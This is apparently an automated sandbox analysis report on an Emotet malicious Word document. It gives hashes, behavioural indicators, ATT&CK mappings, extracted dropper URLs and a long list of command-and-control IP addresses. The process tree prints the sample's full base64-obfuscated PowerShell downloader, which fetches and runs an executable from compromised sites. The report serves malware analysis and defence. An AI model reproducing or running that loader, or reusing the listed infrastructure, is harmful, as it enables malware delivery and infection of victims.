emotet | 0dd2a96118f23f2fec5549ff2bbfbda83f954a2522474688ae8db5a35a84942d

Analysis

max time kernel
136s
max time network
139s
platform
windows10_x64
resource
win10v200722
submitted
13/08/2020, 21:18

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General

Target
emotet_e3_0dd2a96118f23f2fec5549ff2bbfbda83f954a2522474688ae8db5a35a84942d_2020-08-13__211614._doc.doc
Size 229KB
Sample200813-ey63wms5kn
SHA256 0dd2a96118f23f2fec5549ff2bbfbda83f954a2522474688ae8db5a35a84942d
MD5 66c26a97f319b8100482d67f26a6d967
SHA1 6577c061fd1253d4c007160f2bb7b6fffefdc700
SHA512 22c37e91377fc0636891754564b14d2d04d768ea02a099405ce5a1f2bf2da227c0d6669c867edf561c44d6bf51a42d5faeb0c78382379b2eb362fe829cad0ebf
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://bisisahabatpetani.com/wp-admin/XwhDFsQyx/
exe.dropper
https://coolcomputers.info/git/05Prdao1p74/
exe.dropper
http://simulations.org/rw_common/ZPdjx/
exe.dropper
http://subwaynut.com/scgi-bin/PPBMmwRY/
exe.dropper
https://fitsaude.com.br/image/y5ejrhg539799/

Extracted

Family

emotet

66.61.94.36:80
159.203.232.29:8080
185.86.148.68:443
74.208.173.91:8080
37.70.131.107:80
212.156.133.218:80
81.17.93.134:80
203.153.216.182:7080
115.79.195.246:80
115.165.3.213:80
216.75.37.196:8080
81.214.253.80:443
192.241.220.183:8080
172.96.190.154:8080
195.201.56.70:8080
105.213.67.88:80
50.116.78.109:8080
188.166.25.84:8080
187.64.128.197:80
198.57.203.63:8080
179.5.118.12:80
201.213.177.139:80
153.220.182.49:80
185.208.226.142:8080
192.163.221.191:8080
37.46.129.215:8080
75.127.14.170:8080
41.185.29.128:8080
91.83.93.103:443
51.38.201.19:7080
78.188.170.128:80
113.160.180.109:80
217.199.160.224:8080
190.190.15.20:80
188.251.213.180:443
203.153.216.178:7080
182.187.139.200:8080
177.37.81.212:443
181.164.110.7:80
172.105.78.244:8080
212.112.113.235:80
78.189.60.109:443
176.9.93.82:7080
201.235.10.215:80
188.0.135.237:80
92.24.51.238:80
143.95.101.72:8080
163.172.107.70:8080
87.106.231.60:8080
197.83.232.19:80
31.146.61.34:80
5.79.70.250:8080
182.176.95.147:80
190.212.140.6:80
177.144.130.105:443
46.32.229.152:8080
185.142.236.163:443
115.78.11.155:80
87.252.100.28:80
202.5.47.71:80
181.113.229.139:443
77.74.78.80:443
181.134.9.162:80
105.209.235.113:8080
157.7.164.178:8081
178.33.167.120:8080
46.105.131.68:8080
139.99.157.213:8080
177.32.8.85:80
139.59.12.63:8080
192.210.217.94:8080
75.139.38.211:80
113.161.148.81:80
107.161.30.122:8080
190.164.75.175:80
181.167.35.84:80
97.104.107.190:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1776	3376	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2468-15-0x0000000003FA0000-0x0000000003FAC000-memory.dmp	emotet
behavioral2/memory/2468-15-0x0000000003FA0000-0x0000000003FAC000-memory.dmp	emotet
behavioral2/memory/3784-18-0x0000000003E60000-0x0000000003E6C000-memory.dmp	emotet
behavioral2/memory/3784-18-0x0000000003E60000-0x0000000003E6C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
8	1776	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2468	Mlvx.exe
3784	Windows.Gaming.UI.GameBar.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\cabapi\Windows.Gaming.UI.GameBar.exe	Mlvx.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
540	WINWORD.EXE
540	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1776	powersheLL.exe
1776	powersheLL.exe
1776	powersheLL.exe
3784	Windows.Gaming.UI.GameBar.exe
3784	Windows.Gaming.UI.GameBar.exe
3784	Windows.Gaming.UI.GameBar.exe
3784	Windows.Gaming.UI.GameBar.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1776	powersheLL.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE
2468	Mlvx.exe
2468	Mlvx.exe
3784	Windows.Gaming.UI.GameBar.exe
3784	Windows.Gaming.UI.GameBar.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1776 wrote to memory of 2468	1776	powersheLL.exe	73
PID 1776 wrote to memory of 2468	1776	powersheLL.exe	73
PID 1776 wrote to memory of 2468	1776	powersheLL.exe	73
PID 2468 wrote to memory of 3784	2468	Mlvx.exe	75
PID 2468 wrote to memory of 3784	2468	Mlvx.exe	75
PID 2468 wrote to memory of 3784	2468	Mlvx.exe	75

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_0dd2a96118f23f2fec5549ff2bbfbda83f954a2522474688ae8db5a35a84942d_2020-08-13__211614._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:540

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABKAEIAUABHAEgAcQBlAGEAPQAnAEsARQBJAEUASwByAHkAYgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYABjAFUAcgBJAFQAeQBwAGAAUgBgAG8AdABPAGAAQwBvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABKAEQATABGAEUAZABuAGsAIAA9ACAAJwBNAGwAdgB4ACcAOwAkAFkAUABQAFUAUABpAGoAcQA9ACcAVgBXAFQARwBPAHAAYwB6ACcAOwAkAEkASABCAFUAQgBlAHAAawA9ACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcACcAKwAkAEoARABMAEYARQBkAG4AawArACcALgBlAHgAZQAnADsAJABQAEEAVgBFAEcAcgBlAHMAPQAnAEgAQwBSAEIAUAB4AG4AYwAnADsAJABOAFAAVQBCAEcAZQBrAHQAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQBUAC4AVwBlAEIAYwBsAEkAZQBOAHQAOwAkAFAAWQBBAE8AQQBwAGQAcwA9ACcAaAB0AHQAcABzADoALwAvAGIAaQBzAGkAcwBhAGgAYQBiAGEAdABwAGUAdABhAG4AaQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AWAB3AGgARABGAHMAUQB5AHgALwAqAGgAdAB0AHAAcwA6AC8ALwBjAG8AbwBsAGMAbwBtAHAAdQB0AGUAcgBzAC4AaQBuAGYAbwAvAGcAaQB0AC8AMAA1AFAAcgBkAGEAbwAxAHAANwA0AC8AKgBoAHQAdABwADoALwAvAHMAaQBtAHUAbABhAHQAaQBvAG4AcwAuAG8AcgBnAC8AcgB3AF8AYwBvAG0AbQBvAG4ALwBaAFAAZABqAHgALwAqAGgAdAB0AHAAOgAvAC8AcwB1AGIAdwBhAHkAbgB1AHQALgBjAG8AbQAvAHMAYwBnAGkALQBiAGkAbgAvAFAAUABCAE0AbQB3AFIAWQAvACoAaAB0AHQAcABzADoALwAvAGYAaQB0AHMAYQB1AGQAZQAuAGMAbwBtAC4AYgByAC8AaQBtAGEAZwBlAC8AeQA1AGUAagByAGgAZwA1ADMAOQA3ADkAOQAvACcALgAiAHMAUABgAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUQBOAEIAVgBSAHMAbQBpAD0AJwBLAEQAQwBJAFoAbQBiAGYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAE8AVQBCAEoARwBwAHEAcAAgAGkAbgAgACQAUABZAEEATwBBAHAAZABzACkAewB0AHIAeQB7ACQATgBQAFUAQgBHAGUAawB0AC4AIgBkAG8AVwBgAE4ATABvAEEAZABgAEYASQBgAEwAZQAiACgAJABPAFUAQgBKAEcAcABxAHAALAAgACQASQBIAEIAVQBCAGUAcABrACkAOwAkAEEAVABKAFkAUAB3AG4AYgA9ACcASABVAEcAVwBUAG0AcABsACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQASQBIAEIAVQBCAGUAcABrACkALgAiAGwARQBgAE4AZwB0AGgAIgAgAC0AZwBlACAAMgA5ADQANAA5ACkAIAB7AC4AKAAnAEkAJwArACcAbgB2AG8AawBlAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAEkASABCAFUAQgBlAHAAawApADsAJABUAEoAQwBTAFkAZQB0AHAAPQAnAFkARABFAFoASgBhAG4AaQAnADsAYgByAGUAYQBrADsAJABTAFgARgBJAFAAZQBlAG8APQAnAE8ASwBRAFQATgB6AHQAbQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAEIATABVAFcAaAB2AGQAPQAnAEMAVQBYAFYARgBkAHgAdAAnAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1776
- C:\Users\Admin\AppData\Local\Temp\Mlvx.exe
  "C:\Users\Admin\AppData\Local\Temp\Mlvx.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2468
- - C:\Windows\SysWOW64\cabapi\Windows.Gaming.UI.GameBar.exe
    "C:\Windows\SysWOW64\cabapi\Windows.Gaming.UI.GameBar.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3784

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/540-8-0x00000251A1658000-0x00000251A165C000-memory.dmp

Download

memory/540-3-0x00000251A1416000-0x00000251A141B000-memory.dmp

Download

memory/540-5-0x000002519F07B000-0x000002519F080000-memory.dmp

Download

memory/540-6-0x00000251A1655000-0x00000251A1658000-memory.dmp

Download

memory/540-7-0x00000251A1655000-0x00000251A1658000-memory.dmp

Download

memory/540-0-0x00007FFA86A00000-0x00007FFA870C6000-memory.dmp

Download

memory/540-1-0x00000251A1415000-0x00000251A1416000-memory.dmp

Download

memory/540-2-0x00000251A1416000-0x00000251A141B000-memory.dmp

Download

memory/540-4-0x00000251A1416000-0x00000251A141B000-memory.dmp

Download

memory/1776-11-0x000001DFE72B0000-0x000001DFE72B1000-memory.dmp

Download

memory/1776-10-0x000001DFE7100000-0x000001DFE7101000-memory.dmp

Download

memory/1776-9-0x00007FFA7EE30000-0x00007FFA7F81C000-memory.dmp

Download

memory/2468-15-0x0000000003FA0000-0x0000000003FAC000-memory.dmp

Download

memory/3784-18-0x0000000003E60000-0x0000000003E6C000-memory.dmp

Download